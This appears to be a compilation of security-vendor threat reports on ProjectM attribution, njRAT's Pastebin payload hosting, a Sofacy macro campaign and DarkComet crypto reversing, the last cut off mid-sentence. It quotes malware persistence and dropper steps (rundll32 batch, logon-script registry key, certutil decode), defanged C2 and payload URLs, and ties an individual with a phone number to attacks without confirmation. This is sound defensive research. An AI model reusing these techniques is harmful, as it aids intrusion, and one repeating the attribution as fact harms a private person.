WHOIS protection. ### Domain Name Information - **Domain Name:** winupdater.info **Registrant Name:** Xtex Studios **Registrant City:** Karachi **Registrant Country:** PK **Registrant Phone:** +92.3452183117 - **Domain Name:** ordering-checks.com **Registrant Name:** Muhammad Kamran **Registrant City:** Karachi **Registrant Country:** PK **Registrant Phone:** +92.3452183117 **Registrant Email:** [email protected] ## Who is in ProjectM? The Gmail address seen is directly linked to Facebook, LinkedIn, Google+, and Skype accounts. All of the accounts have corroborative biographical content, giving us a possible identity of a potential actor, who appears to be a 26-year-old individual from Karachi, Pakistan. At this time, we cannot absolutely confirm this individual’s involvement with ProjectM, Operation Transparent Tribe or Operation C-Major campaigns; however, strong evidence was discovered linking this individual’s online presence to entities related to the threat group. Additionally, content posted to the social networking accounts suggest that the actor has an anti-Indian sentiment, which may be a motivating factor for the actor to participate in such attack campaigns. ## Web Designer by Trade We believe the individual associated with the email address “[email protected]” was at one time and possibly still involved in web design services, as well as revenue generating efforts using Google AdSense. Interestingly, it appears that the individual reused servers and domains set up during web design efforts to host malicious content used in attack campaigns as well. The web design and technology services company hosted at “apnits.4t.com” listed the phone number "0345-2183117" for its chief executive and as its support number. This phone number is the same as seen in the registration information. We did not find any malicious content on this site; however, we did find content that suggests it was last revised in November 2006. Another web design company created by the individual was discovered at “xtexhosts.com”. The phone number “+92.3452183117” was also found in the WHOIS information and was registered using the email “[email protected]”. We do not have any indication of malicious content hosted on xtexhosts.com, but it appears that the actor created it for Xtex Studios, which appears to be another web design company started by the actor. We found a third domain, “easternkingsology.com,” that contained registration information with the name “Xtex Studios” and the registration email of “[email protected]” until the domain expired in December 2015. The “easternkingsology.com” domain hosted a Bozok RAT sample, which suggests the threat actor hosted this Trojan on an Xtex Studios related domain for use in a ProjectM campaign. We found the registration phone number and email address for xtexhosts.com on an advertisement for another web design company called SPID3R.SOFT. The advertisement was hosted on “sahirlodhi.com”, which was a domain also used by ProjectM as the download location for a sample of the Crimson tool. On May 10, 2008, the domain registration information was updated to include the registrant email of “[email protected]”, suggesting the threat actor was involved in the creation of this website. In addition to xtexhosts.com, the domain “thefriendsmedia.com” was also registered using the email “[email protected]”. This domain hosts a multimedia website that claims it is “Asia’s Biggest Entertainment Portal”. Unit 42 saw this domain hosting several ProjectM tools, including the exact same Andromeda and Peppy samples as those previously observed. The “thefriendsmedia.com” site makes references to “thefriendsfm.com”, which was originally registered in October 2010 using the email “[email protected]”. On March 24, 2014, the actor shared a link on his Facebook to an article hosted on “thefriendsfm.com” titled “MOD Assistant Director and Staff Grade NTS Results 2014”, which discusses applying for positions at the Pakistani Ministry of Defense (MOD), but we do not have any conclusive evidence that the actor applied to or is connected in anyway with the MOD. ## Social Media Activity The email address “[email protected]” led to the discovery of the possible identity of an individual that is likely involved with ProjectM. Unit 42 found the individual’s Google+ profile and noticed that the profile had several posts that included domains that had hosted payloads or were C2 servers associated with ProjectM. Also, Facebook and Google+ posts include "Bind an exe in excel file | Microsoft Excel Exploit | ShobiTech", which is interesting as ProjectM has used malicious Excel delivery documents with macros to download and install payloads in its attack campaign. Furthermore, another Facebook account belonging to this actor points to “shoaibyaseen.com”, which appears to host this individual’s personal blog. The blog has a total of twelve posts between February 29, 2016, and March 2, 2016. The topics posted to this blog include network port scanning and data gathering techniques, as well as commands to run using Metasploit and Meterpreter to accomplish various tasks to exploit systems and carry out post-exploitation activities. Another interesting observation about this actor is that his name shows up in the debug symbol path of several Crimson tools. The actor’s name appears in the debug symbol path of samples of the Crimson downloader and the remote administration tool, suggesting the actor may have been involved with the development of this Trojan. ## Actor's Early Blogging The email address “[email protected]” also led us to the individual’s blogger account, which was created in April 2008. The “About Me” section of this blogger account states that this individual lives in Karachi, Pakistan and studied computer science. This account also created several other blogs as well, most of which had little content of interest. The first related blog of interest is bbmdroid.blogspot.com that contains a link to “bbmdroid.com”, which hosted C2 services for various ProjectM tools. The indian-attack.blogspot.com does not contain any malicious exploit code or payloads, but has a theme of terrorism in India. A blog with a theme related to India closely resembles the India News Tribe (intribune.blogspot.com) blog that ProjectM used in Operation Transparent Tribe to deliver Crimson payloads. The “freeowlsofminerva.blogspot.com” blog was created on August 24, 2013, to offer a service for players of the MapleStory MMORPG. The links on the blog point to Excel spreadsheets hosted on “microsoftexcel.united-host.us”. The blog also includes a link at the bottom of the page to a VirusTotal scan of a file named “(Bera) FM Price List.xlsx” that showed that no antivirus vendors detected the file as malicious. We do not have access to the spreadsheets hosted “microsoftexcel.united-host.us” to confirm if they were malicious or not; however, we did observe a DarkComet payload hosted on this server. ## Conclusion ProjectM is a threat group conducting targeted attacks on government and military personnel of India. Unit 42 has linked several different domains within ProjectM’s infrastructure to an individual residing in Pakistan. This corresponds with the suspicions of David Sancho and Feike Hacquebord at Trend Micro, who documented a likely Pakistani link to the activity in their Operation C-Major report. At this time, we cannot elaborate on the extent of this individual’s involvement with the targeted attacks; however, it does appear that the individual was involved with setting up some portion of the infrastructure used by the various payloads delivered in the attack campaign. According to the individual’s social media pages and blogs, it strongly suggests he possesses skills to carry out offensive activities in ProjectM campaigns. Also, the individual’s name appearing within Crimson Trojan samples suggests that he may have been involved with the creation of the malware as well. Trend Micro reported finding gigabytes of personal identifiable information (PII) in open directories on C2 servers related to ProjectM, mostly belonging to Indian Army personnel. Although such PII might be used for financial gain, we find multiple instances in social media and blogs where this actor states anti-Indian sentiments, suggesting he is potentially politically motivated. While knowing the identity and motivations of a possible actor is not necessarily actionable from a defensive perspective, it does provide a good reminder that people are always behind an attack, as it is easy to become fixated solely on the technical aspects of malware and infrastructure.
# njRAT Spreading Through Active Pastebin Command and Control Tunnel **Yanhui Jia, Chris Navarrete, Haozhe Zhang** **December 9, 2020** **Category:** Malware, Unit 42 **Tags:** C2, command and control, Cybercrime, Evasion, exploit, NJRat, Pastebin ## Executive Summary In observations collected since October 2020, Unit 42 researchers have found that malware authors have been leveraging njRAT (also known as Bladabindi), a Remote Access Trojan, to download and deliver second-stage payloads from Pastebin, a popular website that is well-known to be used to store data anonymously. Attackers are taking advantage of this service to post malicious data that can be accessed by malware through a shortened URL, thus allowing them to avoid the use of their own command and control (C2) infrastructure and therefore increasing the possibility of operating unnoticed. In this blog, we will introduce different scenarios and data transformations that we have found in the wild, and describe the relationship between the downloader component and its second-stage malware. Palo Alto Networks Next-Generation Firewall customers are protected from njRAT with Threat Prevention and WildFire security subscriptions. Customers are also protected with Cortex XDR. ## Active Pastebin C2 Tunnel Pastebin's C2 tunnel is actively used by attackers as a hosting service for malicious payloads that can be downloaded by keyloggers, backdoors, or Trojans. The hosted data differs in its form and shape. The different data encodings and transformations that can be found include traditional base64 encoding, hexadecimal and JSON data, compressed blobs, and plain-text data with embedded malicious URLs. It is believed that this use of Pastebin is intended to evade detection by security products. ## Second-Stage Malware Dropped by base64 Encoding Response **Downloader:** 91f4b53cc4fc22c636406f527e3dca3f10aea7cc0d7a9ee955c9631c80d9777f **Second-stage:** 492ea8436c9a4d69e0a95a13bac51f821e8454113d4e1ccd9c8d903a070e37b2 **Source URL:** hxxps://pastebin[.]com/raw/VbSn9AnN The downloader requests Pastebin C2 data and uses the less evasive version of stored data, which corresponds to traditional base64 encoding. **base64:** Encoded data **base64:** Decoded / Binary dumped Once decoded, the final payload is revealed as a 32-bit .NET executable, which makes use of several Windows API functions including GetKeyboardState(), GetAsynckeyState(), MapVirtualKey(), etc. These are commonly used by keyloggers and Trojans, as well as by functions used to potentially exfiltrate user data. It is also worth noting that the downloader and second-stage executables are similar in their functionality and code. ## Second-Stage Malware Dropped by base64 Encoding Reverse Evasion **Downloader:** 67cbb963597abb591b8dc527e851fc8823ff22d367f4b580eb95dfad7e399e66 **Second-stage:** ffb01512e7357ab899c8eabe01a261fe9462b29bc80158a67e75fdc9c2b348f9 **Source URL:** hxxps://pastebin[.]com/raw/JMkdgr4h In this version, the base64 data was reversed, presumably as a measure to avoid detection for automated systems. **Reversed base64 string** **Transformed base64 data** After proper transformation and decoding of data, the final second-stage 32-bit .NET executable was found to be a similar sample, which exhibits keylogging and Trojan capabilities as well. Three data transformation layers were required to get the final payload. ## Second-Stage Malware Dropped by ASCII and base64 Response **Downloader:** 9ba0126bd6d0c4b41f5740d3099e1b99fed45b003b78c500430574d57ad1ad39 **Second-stage:** dfc8bffef19b68cfa2807b2faaf42de3d4903363657f7c0d27435a767652d5b4 **Source URL:** hxxps://pastebin[.]com/raw/LKRwaias In this version, the base64 data was presented in hex characters. **Hex encoded string** **Hex decoded and encoded base64 data** After proper decoding of Hex and base64 data, the dumped program is also a 32-bit .NET executable file sharing the same malicious characteristics as the previous example. ## Second-Stage Malware Dropped by base64 Encoded and Compressed Data Response **Downloader:** 54cf2d7b27faecfe7f44fb67cb608ce5e33a7c00339d13bb35fdb071063d7654 **Second-stage:** 96c7c2a166761b647d7588428fbdd6030bb38e5ef3d407de71da657f76b74cac **Source URL:** hxxp://pastebin[.]com/raw/zHLUaPvW This 32-bit .NET launcher sample, unlike the others, works with compressed data fetched from Pastebin. The downloader performs the following actions: 1. The base64 encoded and compressed data is downloaded by the execution of the DownloadString() function by passing as an argument, a string that was generated by the concatenation of the variables str, str2, str3, and str4 that form the target URL. 2. The base64 and compressed data are now decoded by the FromBase64String() function and decompressed by the DecompressGZip() function. The result is an executable file stored in a byte array in the rawAssembly variable. 3. Finally, a call to the Load().EntryPoint.Invoke() function is made by passing the rawAssembly variable to the executable file in memory in order to position itself within the system and release the malicious payload. ## Second-Stage Malware Dropped by URL Link Response **Downloader:** bd2387161cc077bfca0e0aae5d63820d1791f528feef65de575999454762d617 **Second-stage:** 7754d2a87a7c3941197c97e99bcc4f7d2960f6de04d280071eb190eac46dc7d8 **Source URL:** hxxp://pastebin[.]com/raw/ZFchNrpH This .NET downloader uses the traditional method of grabbing an executable file from a remote URL. The target address points to hxxp://textfiles[.]us/driverupdate0.exe. According to VirusTotal, this malware sample was identified by several vendors as malicious. ## Configuration File in JSON Response **Downloader:** 94e648c0166ee2a63270772840f721ba52a73296159e6b72a1428377f6f329ad **Source URL:** hxxps://pastebin[.]com/raw/8DEsZn2y In this version, JSON formatted data was used. One of the key names, “downlodLink” (misspelled on purpose by the malware author), indicates that the value will be a URL, where additional components can be downloaded. No further information was given regarding the objective of this particular file, but it could potentially be used as a configuration file. ## Proxy Scraper Dropped by HTML Response **Downloader:** 97227c346830b4df87c92fce616bdec2d6dcbc3e6de3f1c88734fe82e2459b88 **Proxy Scraper.exe:** e3ea8a206b03d0a49a2601fe210c949a3c008c97e5dbf77968c0d08d2b6c1255 **MaterialSkin.dll:** b9879df15e82c52e9166c71f7b177c57bd4c8289821a65a9d3f5228b3f606b4e **Source URL:** hxxps://pastebin[.]com/rw/770qPDMt This malware parses the HTML page in order to get the link to prepare for further attacks. For this particular sample, Pastebin data is used to provide links for software downloads. The download link points to a compressed file called Simple+Scraper.zip containing two files: MaterialSkin.dll and Proxy Scraper.exe. By statically inspecting the code using .NET Decompiler software, we found that the downloader malware uses Pastebin as a repository to host links to updates related to the Proxy Scraper software. ## Conclusion The Pastebin C2 tunnel is still alive and being used by njRAT to deliver malicious payloads by downloading data hosted in Pastebin, allowing this and other malware families in the wild to take advantage of paste-based public services. Based on our research, malware authors are interested in hosting their second-stage payloads in Pastebin and encrypting or obfuscating such data as a measure to evade security solutions. There is a possibility that malware authors will use services like Pastebin for the long term. At the time of this writing, the following samples were not publicly available. However, we have created all the required coverage against their behavior and communication. - ffb01512e7357ab899c8eabe01a261fe9462b29bc80158a67e75fdc9c2b348f9 - dfc8bffef19b68cfa2807b2faaf42de3d4903363657f7c0d27435a767652d5b4 - 96c7c2a166761b647d7588428fbdd6030bb38e5ef3d407de71da657f76b74cac Palo Alto Networks customers are protected from this kind of attack by the following: 1. Threat Prevention signatures 21010, 21005, 21075, and 21077 identify HTTP Pastebin requests attempting to download malicious components. 2. WildFire and Cortex XDR identify and block njRAT and its droppers. ## IOCs **Samples** - 03c7015046ef4e39a209384f2632812fa561bfacffc8b195542930e91fa6dceb - 205341c9ad85f4fc99b1e2d0a6a5ba5c513ad33e7009cdf5d2864a422d063aba - 2270b21b756bf5b5b1b5002e844d0abe10179c7178f70cd3f7de02473401443a - 54cf2d7b27faecfe7f44fb67cb608ce5e33a7c00339d13bb35fdb071063d7654 - 54d7ee587332bfb04b5bc00ca1e8b6c245bb70a52f34835f9151b9978920b6d7 - 678a25710addeefd8d42903ceddd1c82c70b75c37a80cf2661dab7ced6732cd3 - 67cbb963597abb591b8dc527e851fc8823ff22d367f4b580eb95dfad7e399e66 - 6817906a5eff7b02846e4e6a492ee57c2596d3f19708d8483bef7126faa7267f - 69366be315acc001c4b9b10ffc67dad148e73ca46e5ec23509f9bb3eedcd4c08 - 94c2196749457b23f82395277a47d4380217dd821d0a6592fc27e1e375a3af70 - 94e648c0166ee2a63270772840f721ba52a73296159e6b72a1428377f6f329ad - 96640d0c05dd83bb10bd7224004056e5527f6fad4429beaf4afa7bad9001efb7 - 97227c346830b4df87c92fce616bdec2d6dcbc3e6de3f1c88734fe82e2459b88 - 97b943a45b4716fcea4c73dce4cefe6492a6a51e83503347adcd6c6e02261b84 - 9ba0126bd6d0c4b41f5740d3099e1b99fed45b003b78c500430574d57ad1ad39 - bd2387161cc077bfca0e0aae5d63820d1791f528feef65de575999454762d617 **Second Stage** - 9982c4d431425569a69a022a7a7185e8c47783a792256f4c5420f9e023dee12a - d347080fbc66e680e2187944efbca11ff10dc5bfcc76c815275c4598bb410ef6 - 30c071a9e0207f0ca98105c40ac60ec50104894f3e4ed0fb1e7b901f56d14ad4 - 231d52100365c14be32e2e81306b2bb16c169145a8dbcdc8f921c23d7733cef0 - fd5c731bb53c4e94622e016d83e4c0d605baf8e34c7960f72ff2953c65f0084c - b3730931aaa526d0189aa267aa0d134eb89e538d79737f332223d3fc697c4f5a - 75b833695a12e16894a1e1650ad7ed51e6f8599ceaf35bbd8e9461d3454ab711 - 6d0b09fe963499999af2c16e90b6f8c5ac51138509cc7f3edb4b35ff8bef1f12 - 2af1bb05a5fde5500ea737c08f1b675a306150a26610d2ae3279f8157a3cb4df - db8ca46451a6c32e3b7901b50837500768bb913cafb5e12e2111f8b264672219 **URLs** **Active:** - hxxp://pastebin[.]com/raw/JKqwsAs6 - hxxp://pastebin[.]com/raw/pc9QbQCK - hxxp://pastebin[.]com/raw/Rpx7tm9N - hxxp://pastebin[.]com/raw/hsGSLP89 - hxxp://pastebin[.]com/raw/HNkipzLK - hxxp://pastebin[.]com/raw/Z3mcNqjz - hxxp://pastebin[.]com/raw/h5yBCwpY - hxxp://pastebin[.]com/raw/zHLUaPvW - hxxp://pastebin[.]com/raw/V6UWZm2n - hxxp://pastebin[.]com/raw/rTjmne99 - hxxp://pastebin[.]com/raw/JMkdgr4h - hxxp://pastebin[.]com/raw/yPTNdYRN - hxxp://pastebin[.]com/raw/q56JPtdY - hxxp://pastebin[.]com/raw/a3U5MMj2 - hxxp://pastebin[.]com/raw/E4MB4MFj - hxxp://pastebin[.]com/raw/770qPDMt - hxxp://pastebin[.]com/raw/YtuXz7YX - hxxp://pastebin[.]com/raw/LKRwaias - hxxp://pastebin[.]com/raw/ZFchNrpH **Inactive:** - hxxp://pastebin[.]com/raw/TWQYHv9Y - hxxp://pastebin[.]com/raw/0HpgqDt2 - hxxp://pastebin[.]com/raw/1t8LPE7R - hxxp://pastebin[.]com/raw/3vsJLpWu - hxxp://pastebin[.]com/raw/6MFWAdWS - hxxp://pastebin[.]com/raw/AqndxJKK - hxxp://pastebin[.]com/raw/SdcQ9yPM - hxxp://pastebin[.]com/raw/XMKKNkb0 - hxxp://pastebin[.]com/raw/ZM6QyknC - hxxp://pastebin[.]com/raw/pMDgUv62 - hxxp://pastebin[.]com/raw/yEw5XbvF
# Sofacy Attacks Multiple Government Entities By Bryan Lee, Mike Harbison, and Robert Falcone February 28, 2018 at 10:00 AM Category: Unit 42 Tags: APT28, Carberp, LuckyStrike, Ministry of Foreign Affairs, Powershell, Sofacy, Trojan The Sofacy group (AKA APT28, Fancy Bear, STRONTIUM, Sednit, Tsar Team, Pawn Storm) is a well-known adversary that remains highly active in the new calendar year of 2018. Unit 42 actively monitors this group due to their persistent nature globally across all industry verticals. Recently, we discovered a campaign launched at various Ministries of Foreign Affairs around the world. Interestingly, there appear to be two parallel efforts within the campaign, with each effort using a completely different toolset for the attacks. In this blog, we will discuss one of the efforts which leveraged tools that have been known to be associated with the Sofacy group. ## Attack Details At the beginning of February 2018, we discovered an attack targeting two government institutions related to foreign affairs. These entities are not regionally congruent, and the only shared victimology involves their organizational functions. Specifically, one organization is geographically located in Europe and the other in North America. The initial attack vector leveraged a phishing email, using the subject line of "Upcoming Defense events February 2018" and a sender address claiming to be from Jane’s 360 defense events. Analysis of the email header data showed that the sender address was spoofed and did not originate from IHSMarkit at all. The lure text in the phishing email claims the attachment is a calendar of events relevant to the targeted organizations and contained specific instructions regarding the actions the victim would have to take if they had “trouble viewing the document”. The attachment itself is a Microsoft Excel XLS document that contains a malicious macro script. The document presents itself as a standard macro document but has all of its text hidden until the victim enables macros. Notably, all of the content text is accessible to the victim even before macros are enabled. However, a white font color is applied to the text to make it appear that the victim must enable macros to access the content. Once the macro is enabled, the content is presented via the following code: ```vb ActiveSheet.Range(“a1:c54”).Font.Color = vbBlack ``` The code above changes the font color to black within the specified cell range and presents the content to the user. On initial inspection, the content appears to be the expected legitimate content; however, closer examination of the document shows several abnormal artifacts that would not exist in a legitimate document. ### Delivery Document As mentioned in a recent ISC diary entry, the macro gets the contents of cells in column 170 in rows 2227 to 2248 to obtain the base64 encoded payload. The macro prepends the string "-----BEGIN CERTIFICATE-----" to the beginning of the base64 encoded payload and appends "-----END CERTIFICATE-----" to the end of the data. The macro then writes this data to a text file in the C:\Programdata folder using a random filename with the .txt extension. The macro then uses the command `certutil -decode` to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\Programdata folder. The macro sleeps for two seconds and then executes the newly dropped executable. The newly dropped executable is a loader Trojan responsible for installing and running the payload of this attack. We performed a more detailed analysis on this loader Trojan, which readers can view in this report’s appendix. Upon execution, the loader will decrypt the embedded payload (DLL) using a custom algorithm, decompress it, and save it to the following file: ``` %LOCALAPPDATA%\cdnver.dll ``` The loader will then create the batch file `%LOCALAPPDATA%\cdnver.bat`, which it will write the following: ``` start rundll32.exe “C:\Users\user\AppData\Local\cdnver.dll”,#1 ``` The loader Trojan uses this batch file to run the embedded DLL payload. For persistence, the loader will write the path to this batch file to the following registry key, which will run the batch file each time the user logs into the system: ``` HKCU\Environment\UserInitMprLogonScript ``` The `cdnver.dll` payload installed by the loader executable is a variant of the SofacyCarberp payload, which is used extensively by the Sofacy threat group. Overall, SofacyCarberp does initial reconnaissance by gathering system information and sending it to the C2 server prior to downloading additional tools to the system. This variant of SofacyCarberp was configured to use the following domain as its C2 server: ``` cdnverify[.]net ``` The loader and the SofacyCarberp sample delivered in this attack is similar to samples we have analyzed in the past but contains marked differences. These differences include a new hashing algorithm to resolve API functions and to find running browser processes for injection, as well as changes to the C2 communication mechanisms. ### Open-source Delivery Document Generator It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack. Luckystrike is a Microsoft PowerShell-based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload. We believe Sofacy used this tool, as the macro within their delivery document closely resembles the macros found within Luckystrike. To confirm our suspicions, we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy’s delivery document. We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload. The one non-random string difference was the path to the “.txt” and “.exe” files within the command `certutil -decode`, as the Sofacy document used “C:\Programdata\” for the path whereas the Luckystrike document used the path stored in the Application.UserLibraryPath environment variable. ### Discovery and Relationships With much of our research, our initial direction and discovery of emerging threats is generally some combination of previously observed behavioral rulesets or relationships. In this case, we had observed a strange pattern emerging from the Sofacy group over the past year within their command and control infrastructure. Patterning such as reuse of WHOIS artifacts, IP reuse, or even domain name themes are common and regularly used to group attacks to specific campaigns. In this case, we had observed the Sofacy group registering new domains, then placing a default landing page which they then used repeatedly over the course of the year. No other parts of the C2 infrastructure amongst these domains contained any overlapping artifacts. Instead, the actual content within the body of the websites was an exact match in each instance. Specifically, the strings 866-593-54352, 403-965-2341, or the address 522 Clematis, Suite 3000 were repeatedly found in each instance. Hotfixmsupload[.]com is particularly interesting as it has been identified as a Sofacy C2 domain repeatedly, and was also brought forth by Microsoft in a legal complaint against STRONTIUM (Sofacy). Leveraging this intelligence allowed us to begin predicting potential C2 domains that would eventually be used by the Sofacy group. In this scenario, the domain cdnverify[.]net was registered on January 30, 2018, and just two days later, an attack was launched using this domain as a C2. ## Conclusion The Sofacy group should no longer be an unfamiliar threat at this stage. They have been well documented and well researched with much of their attack methodologies exposed. They continue to be persistent in their attack campaigns and continue to use similar tooling as in the past. This leads us to believe that their attack attempts are likely still succeeding, even with the wealth of threat intelligence available in the public domain. Application of the data remains challenging, and so to continue our initiative of establishing playbooks for adversary groups, we have added this attack campaign as the next playbook in our dataset. Palo Alto Networks customers are protected from this threat by: 1. WildFire detects all SofacyCarberp payloads with malicious verdicts. 2. AutoFocus customers can track these tools with the Sofacy, SofacyMacro, and SofacyCarberp tags. 3. Traps blocks the Sofacy delivery documents and the SofacyCarberp payload. ## IOCs **SHA256** - ff808d0a12676bfac88fd26f955154f8884f2bb7c534b9936510fd6296c543e8 - 12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8 - cb85072e6ca66a29cb0b73659a0fe5ba2456d9ba0b52e3a4c89e86549bc6e2c7 - 23411bb30042c9357ac4928dc6fca6955390361e660fec7ac238bbdcc8b83701 **Domains** - cdnverify[.]net **Email Subject** - Upcoming Defense events February 2018 **Filename** - Upcoming Events February 2018.xls ## Appendix ### Loader Trojan The payload dropped to the system by the macro is an executable that is responsible for installing and executing a dynamic link library (DLL) to the system. This executable contains the same decryption algorithm as the loader we analyzed in the DealersChoice attacks in late 2016. The loader has several coding features that make it interesting. For example, upon execution, the loader attempts to load the following library: `api-ms-win-core-synch-l1-2-0.dll`. This DLL is part of the Universal Windows Platform app to Windows 10. Typically, a developer would not link directly to this file, but to WindowsApp.lib, which gives access to the underlying APIs. It appears the loader included definitions of wrappers for Windows API functions that cannot be called directly because they are not supported on all operating systems. Upon execution, the loader will decrypt the embedded payload (DLL) using a custom algorithm followed by decompressing it using the `RtlDecompressBuffer` API. The payload is decrypted using a starting 10-byte XOR key of: `0x3950BE2CD37B2C7CCBF8`. The payload can be decrypted and decompressed with a provided Python script. The loader will drop the following files in the `%LOCALAPPDATA%` file path: - cdnver.dll - cdnver.bat To evade observable detection from Windows explorer, file attributes are set to hidden. `%LOCALAPPDATA%` would be the user’s path from the user who launched the executable, i.e., `C:\Users\user\AppData\Local` where the user would contain the user’s logon account. To execute the dropped DLL, the loader first checks the integrity level of the executing process, and if it does not have the necessary permissions, the loader will enumerate the system’s processes searching for `explorer.exe`. The loader will attempt to use the permission of `explorer.exe` to execute the dropped DLL via `CreateProcessAsUser`. If the user who executed the loader is admin or has sufficient privileges this step is skipped. The execution is handled using the Windows `rundll32.exe` program and calls the DLL’s export via ordinal number 1. For persistence, the loader will add the following registry key `UserInitMprLogonScript` to `HKCU\Environment` with the following value: ``` C:\Users\user\AppData\Local\cdnver.bat ``` This entry would cause the batch file to be executed any time the user logs on. The batch file contains the following information: ``` start rundll32.exe “C:\Users\user\AppData\Local\cdnver.dll”,#1 ``` The use of the `UserInitMprLogonScript` is not new to Sofacy, as Mitre’s ATT&CK framework shows Sofacy’s use of this registry key as an example of the Logon Scripts persistence technique. ### SofacyCarberp Payload The DLL delivered in these attacks is a variant of the SofacyCarberp payload, which is used extensively by the Sofacy threat group. ### API Resolution Previous versions of this Trojan used code taken from the leaked Carberp source code, which mainly involved Carberp’s code used to resolve API functions. However, this version of SofacyCarberp uses a hashing algorithm to locate the correct loaded DLL based on its BaseDLLName in order to manually load API functions. ### Injecting into Browsers The Trojan will use the same hashing algorithm for API resolution to find browser processes running on the system with the intention of injecting code into the browser to communicate with its C2 server. ### Command and Control Communications In addition to being able to communicate with its C2 server from code injected into a web browser, the Trojan can also carry out the same communication process within its own process. The C2 communication uses HTTPS and specifically sets the following flags to do so in a manner to allow invalid certificates: - `SECURITY_FLAG_IGNORE_CERT_DATE_INVALID` - `SECURITY_FLAG_IGNORE_CERT_CN_INVALID` - `SECURITY_FLAG_IGNORE_UNKNOWN_CA` - `SECURITY_FLAG_IGNORE_REVOCATION` The initial request sent from the Trojan is to google.com, likely as an internet connectivity check. After establishing that the system has Internet access, the Trojan will gather detailed system information and send it to the C2 server. The gathered information includes a unique identifier based on the storage volume serial number, a list of running processes, network interface card information, the storage device name, the Trojan’s build identifier, followed by a screenshot of the system. The SofacyCarberp Trojan parses the C2 server’s response to the request for data that the Trojan will then use to download a secondary payload to the system. The Trojan looks in the response data for sections between the tags `[file]` and `[/file]` and `[settings]` and `[/settings]`, which we have observed in other SofacyCarberp samples we have analyzed. However, this particular variant also contains another section with the tags `[shell]` and `[/shell]`. The Trojan parses these sections for specific fields that dictate how the Trojan will operate, including where the Trojan will save the downloaded file, how the Trojan runs the secondary payload, and what C2 location the Trojan should communicate with.
# It's not the end of the world: DarkComet misses by a mile ## Reversing the DarkComet RAT's crypto **Jeff Edwards, Research Analyst, Arbor Networks ASERT** In this article, we will continue our series on reversing DDoS malware crypto systems. Previous subjects have included Armageddon, Khan (now believed to be a very close "cousin" of Dirt Jumper version 5), and PonyDOS. Today we'll be diving deep into the details of DarkComet's crypto. Over the last several months, we have encountered a large number of DarkComet samples, numbering well over a thousand. DarkComet is primarily a general purpose remote access trojan (RAT). Its capabilities support quite an extensive laundry list of mischief, including but not limited to key logging, web cam (and sound card) spying, deleting victim files, scanning ports, hijacking MSN sessions, etc. Of course, the malware includes DDoS capabilities as well - hence our interest in reversing its communications so that we can keep tabs on whom the DarkComet botnets are attacking. In fact, it is believed to have been used as a DDoS weapon by supporters of the Syrian regime against opposition forces in the recent Syrian uprisings; TrendMicro has a nice article on this topic. DarkComet has been studied by a number of researchers. In particular, in November 2011 Laura Aylward of Contextis published an excellent analysis of DarkComet in which she described the basic cryptographic mechanism used by DarkComet bots to hide their communications; Laura's analysis saved us a considerable amount of time. It was also included in Curt Wilson's recent survey of modern DDoS weapons. The DarkComet sample upon which we will primarily focus on today is 462,848 bytes in size and has an MD5 hash of 63f2ed5d2ee50e90cda809f2ac740244. It happens to be an instance of DarkComet Version 4.2; however, the results presented here apply to most other versions of DarkComet as well. When executed in a sandbox, we observed it connecting to a command & control (C&C) server at newrat2.no-ip.org on TCP port 1604. The RAT uses a raw TCP protocol to exchange information with its C&C; on the wire, the comms look something like this (modified and re-encrypted to protect some of our sensitive sandbox information): ``` C&C: 155CAD31A61F Bot: 0F5DAB3EB308 C&C: 1B7D8D3BBF14C6B619480C265C2F4664F9DCB878EA7DFC6F2637 Bot: 35769F079329B4E04603496A432E5A7CFC90A477F478F07A3826A1B436AB92852B685636 F72B52C56D70434D7691F3307D637118B869586A1D19FD15B8C6AE14F8F8C57EFAFCCC09 964E8EE8EED553886AB188665F1AB96586F4F2581C093E75DCF2A8ADC817558BF3452344 0CDBE43CA4C05AC6E8D90D00F35BE795A44AE0E2EDE36C061EAEBD754461F680DBD9893A CF6211698AF22B0BBB92A9B47363AE86E69A08C29DD3DBA59D287E4A0E12664B312A81C0 E9FE4D6E538AB5CC8952CCB372869F57D168CE8ABB52B8D7F8E78547A5EB009931735868 ``` These communications are consistent with those reported by Contextis in their DarkComet report. It certainly looks like an initial "phone home" exchange of information, after which the bot and C&C send periodic "Keep Alive" messages to each other. Besides being encrypted, this protocol is somewhat unusual in that the C&C sends the first payload; it is much more common for the bot to send the first payload. So in order to develop a tracker that impersonates a DarkComet bot so as to snoop on DDoS attacks, we need to reverse the malware's crypto system and write decryption and encryption routines in Python. Let's start reversing by loading a process memory dump of the running bot in IDA Pro. We'll then start poking around looking for routines that might implement the phone home protocol. Since DarkComet clearly uses raw TCP for communication (as opposed to, say, HTTP), we'll focus on finding WinSock2 calls such as socket(), connect(), send(), and recv(). Well, it turns out that the bot is riddled with vast numbers of WinSock2 calls; not surprising, since DarkComet has a great deal of RAT functions that require network communication. So to narrow down on the actual bot-C&C comms loop, we locate the lengthy list of command strings, such as KeylogOn, GetOfflineLogs, WEBCAMLIVE, GetMsnList, DDOSHTTPFLOOD, etc. In particular, we note that all these command strings are referenced from the same function. Furthermore, this function is structured as a very long sequence of if-else statements that compare each of these command strings against the same buffer. Even better, there is only a single caller of this function. Hmmm, that certainly sounds like the bot's primary command dispatch routine; we'll call it `DispatchCommands_sub_493DAC()`. Checking out the caller function, we see that it operates in a loop. On each iteration through the loop, it basically performs the following actions: 1. Calls recv() to read network traffic into a buffer; 2. Performs some copies and operations on this buffer to produce an intermediate buffer; 3. Performs an operation (decryption perhaps?) on the intermediate buffer and a global string to produce a final buffer; 4. Passes the final buffer to the aforementioned `DispatchCommands_sub_493DAC()` function. Yes, this sounds like the main comms loop for which we are looking; we'll name this caller function `MainCommsLoop_sub_493A30()`, and focus our attention on the aforementioned loop. It definitely looks like a great candidate for the decryption operation. It follows the general structure that is quite common among bot families that encrypt their comms; namely, a pre-processing operation applied to a buffer, followed by the actual decryption step. In particular, one strong clue is that the (assumed) decryption step takes a third argument which, in this case, is a reference to a global string - very likely to be the decryption key string! So first let's see what our (tentatively named) `DecryptCommandBuffer_sub_44C628()` function looks like. DarkComet being a Delphi-based bot, the decryption function is passed the source (encrypted) buffer in EAX, the (presumed) crypto key in EDX, and an output string buffer in ECX. After checking to make sure neither the source nor key strings are empty, the function gets down to business. The first substantive operation is to pass the 